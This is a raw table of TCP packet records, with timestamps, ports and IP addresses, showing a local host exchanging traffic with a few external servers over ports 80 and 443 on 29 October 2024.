Oct 29, 2024 15:27:23.412147045 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.412157059 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.412213087 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.416691065 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.416785955 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.416790962 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.416794062 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:23.416840076 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:23.809690952 CET	443	49778	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.810751915 CET	49778	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.810777903 CET	443	49778	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.811357975 CET	49778	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.811364889 CET	443	49778	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.943835020 CET	443	49778	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.943891048 CET	443	49778	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.943950891 CET	49778	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.952827930 CET	49778	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.952843904 CET	443	49778	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.952850103 CET	49778	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.952855110 CET	443	49778	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.959892035 CET	49783	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.959919930 CET	443	49783	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.960001945 CET	49783	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.961265087 CET	49783	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:23.961282015 CET	443	49783	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:23.991131067 CET	443	49782	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.014566898 CET	443	49780	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.046073914 CET	49782	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.052464962 CET	443	49781	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.061670065 CET	49780	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.083333015 CET	49782	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.083348036 CET	443	49782	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.083841085 CET	49782	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.083847046 CET	443	49782	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.088951111 CET	49780	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.088962078 CET	443	49780	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.089457035 CET	49780	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.089463949 CET	443	49780	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.092910051 CET	49781	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.093702078 CET	49781	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.093708992 CET	443	49781	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.094110012 CET	49781	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.094115973 CET	443	49781	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.208261013 CET	443	49782	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.208326101 CET	443	49782	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.208388090 CET	49782	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.218822956 CET	443	49780	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.219552994 CET	443	49780	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.219621897 CET	49780	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.229708910 CET	443	49781	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.230081081 CET	443	49781	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.230159044 CET	49781	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.249701977 CET	443	49779	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.296133995 CET	49779	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.313039064 CET	49779	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.313049078 CET	443	49779	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.313469887 CET	49779	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.313474894 CET	443	49779	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.313766956 CET	49782	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.313766956 CET	49782	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.313783884 CET	443	49782	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.313793898 CET	443	49782	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.315233946 CET	49780	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.315233946 CET	49780	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.315242052 CET	443	49780	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.315249920 CET	443	49780	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.315274954 CET	49781	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.315284967 CET	443	49781	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.315295935 CET	49781	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.315300941 CET	443	49781	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.442339897 CET	443	49779	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.442775011 CET	443	49779	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.442877054 CET	49779	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.475649118 CET	49779	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.475671053 CET	443	49779	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.475692034 CET	49779	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.475699902 CET	443	49779	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.495421886 CET	49784	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.495551109 CET	443	49784	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.495640039 CET	49784	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.563922882 CET	49784	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.563991070 CET	443	49784	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.564138889 CET	49785	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.564181089 CET	443	49785	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.564248085 CET	49785	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.565707922 CET	49785	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.565722942 CET	443	49785	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.696340084 CET	443	49783	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.715348959 CET	49786	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.715445042 CET	443	49786	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.715528011 CET	49786	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.747108936 CET	49783	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.771051884 CET	49783	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.771075964 CET	443	49783	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.771806002 CET	49783	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.771821022 CET	443	49783	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.776767015 CET	49786	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.776834011 CET	443	49786	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.872543097 CET	49788	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.872585058 CET	443	49788	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.872661114 CET	49788	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.899326086 CET	443	49783	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.899879932 CET	443	49783	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.899934053 CET	49783	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.926383018 CET	49788	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.926409006 CET	443	49788	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.940026045 CET	49783	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.940046072 CET	443	49783	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.940057993 CET	49783	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.940064907 CET	443	49783	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.943824053 CET	49789	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.943916082 CET	443	49789	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.944005966 CET	49789	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.944248915 CET	49789	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:24.944282055 CET	443	49789	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:24.983896971 CET	49792	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:24.983979940 CET	443	49792	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:24.984055042 CET	49792	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:24.984146118 CET	49793	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:24.984190941 CET	443	49793	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:24.984241009 CET	49793	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:24.984574080 CET	49794	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:24.984595060 CET	443	49794	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:24.984659910 CET	49794	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:24.984811068 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:24.984818935 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:24.984877110 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:24.991765976 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:24.991782904 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:24.992352009 CET	49794	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:24.992386103 CET	443	49794	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:24.992547989 CET	49793	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:24.992554903 CET	443	49793	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:24.992706060 CET	49792	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:24.992732048 CET	443	49792	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:25.291904926 CET	49702	443	192.168.2.6	173.222.162.64
Oct 29, 2024 15:27:25.297955990 CET	443	49702	173.222.162.64	192.168.2.6
Oct 29, 2024 15:27:25.327892065 CET	443	49785	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.328424931 CET	49785	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.328454018 CET	443	49785	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.329061031 CET	49785	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.329066038 CET	443	49785	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.344532013 CET	443	49784	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.345101118 CET	49784	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.345135927 CET	443	49784	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.345626116 CET	49784	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.345634937 CET	443	49784	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.612508059 CET	443	49785	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.612922907 CET	443	49785	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.612986088 CET	49785	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.613015890 CET	49785	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.613033056 CET	443	49785	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.613042116 CET	49785	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.613048077 CET	443	49785	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.613424063 CET	443	49784	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.613606930 CET	443	49784	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.613670111 CET	49784	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.613723040 CET	49784	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.613759041 CET	443	49784	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.613784075 CET	49784	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.613797903 CET	443	49784	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.616868973 CET	49799	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.616971970 CET	443	49799	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.617024899 CET	49800	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.617059946 CET	49799	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.617119074 CET	443	49800	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.617189884 CET	49800	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.617213964 CET	49799	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.617238045 CET	443	49799	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.617404938 CET	49800	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.617443085 CET	443	49800	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.749809980 CET	443	49788	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.750737906 CET	443	49786	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.751689911 CET	443	49789	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.753974915 CET	49788	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.753999949 CET	443	49788	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.754940987 CET	49788	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.754947901 CET	443	49788	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.756062031 CET	49786	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.756083012 CET	443	49786	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.763053894 CET	49786	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.763091087 CET	443	49786	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.763621092 CET	49789	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.763696909 CET	443	49789	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.764980078 CET	49789	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.764993906 CET	443	49789	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.837816954 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:25.838021040 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:25.838042974 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:25.839035034 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:25.839093924 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:25.840058088 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:25.840126038 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:25.840220928 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:25.840230942 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:25.852380991 CET	443	49793	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:25.852596045 CET	49793	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:25.852608919 CET	443	49793	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:25.853665113 CET	443	49793	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:25.853713989 CET	49793	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:25.854084015 CET	49793	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:25.854139090 CET	443	49793	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:25.854226112 CET	49793	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:25.854232073 CET	443	49793	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:25.879090071 CET	443	49792	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:25.879326105 CET	49792	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:25.879343987 CET	443	49792	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:25.880796909 CET	443	49792	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:25.880863905 CET	49792	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:25.881247044 CET	49792	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:25.881334066 CET	443	49792	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:25.881422043 CET	49792	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:25.881437063 CET	443	49792	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:25.886414051 CET	443	49788	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.886471987 CET	443	49788	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.886518002 CET	49788	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.886715889 CET	49788	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.886715889 CET	49788	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.886724949 CET	443	49788	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.886733055 CET	443	49788	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.887871981 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:25.890117884 CET	443	49794	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:25.890147924 CET	49801	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.890171051 CET	443	49801	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.890230894 CET	49801	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.890415907 CET	49794	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:25.890438080 CET	443	49794	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:25.890460014 CET	49801	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.890474081 CET	443	49801	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.890543938 CET	443	49786	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.890605927 CET	443	49786	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.890646935 CET	49786	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.890736103 CET	49786	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.890746117 CET	443	49786	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.890763998 CET	49786	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.890769958 CET	443	49786	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.892697096 CET	443	49789	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.892723083 CET	443	49789	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.892781973 CET	49789	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.892792940 CET	443	49789	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.892838955 CET	49789	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.893080950 CET	49789	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.893110037 CET	443	49789	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.893137932 CET	49789	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.893151045 CET	443	49789	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.893646955 CET	49802	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.893690109 CET	443	49802	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.893753052 CET	49802	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.893887997 CET	49802	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.893904924 CET	443	49802	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.893909931 CET	443	49794	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:25.893960953 CET	49794	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:25.894246101 CET	49794	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:25.894371986 CET	49794	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:25.894484997 CET	443	49794	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:25.895792007 CET	49803	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.895811081 CET	443	49803	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.895876884 CET	49803	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.896017075 CET	49803	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:25.896029949 CET	443	49803	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:25.903484106 CET	49793	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:25.934772968 CET	49792	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:25.934773922 CET	49794	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:25.934865952 CET	443	49794	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:25.981627941 CET	49794	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.101531029 CET	49792	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.101624966 CET	443	49792	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.101792097 CET	443	49792	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.101859093 CET	49792	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.101859093 CET	49792	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.130589008 CET	443	49793	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.136640072 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.136682034 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.136710882 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.136743069 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.136765957 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.136769056 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.136784077 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.136812925 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.136812925 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.137453079 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.137460947 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.137568951 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.149544954 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.180325031 CET	443	49794	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.187494993 CET	49793	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.187508106 CET	443	49793	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.195406914 CET	49793	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.195456028 CET	443	49793	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.195619106 CET	443	49793	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.195718050 CET	49793	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.195718050 CET	49793	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.200285912 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.200294971 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.231091976 CET	49794	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.231121063 CET	443	49794	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.232491970 CET	49794	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.232574940 CET	443	49794	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.232764959 CET	443	49794	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.232769966 CET	49794	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.232855082 CET	49794	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.247771025 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.251549959 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.251631975 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.251869917 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.251878977 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.256064892 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.256190062 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.256197929 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.260272980 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.260555029 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.260562897 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.269013882 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.269151926 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.269159079 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.277848959 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.278090000 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.278098106 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.286366940 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.287446022 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.287456989 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.296508074 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.296616077 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.296631098 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.303339005 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.303915977 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.303926945 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.310472012 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.311610937 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.311621904 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.340724945 CET	443	49800	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.341694117 CET	49800	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:26.341694117 CET	49800	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:26.341732025 CET	443	49800	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.341759920 CET	443	49800	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.356883049 CET	49795	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:26.356892109 CET	443	49795	172.217.18.100	192.168.2.6
Oct 29, 2024 15:27:26.357247114 CET	443	49799	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:26.358195066 CET	49799	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:26.358195066 CET	49799	443	192.168.2.6	13.107.246.45
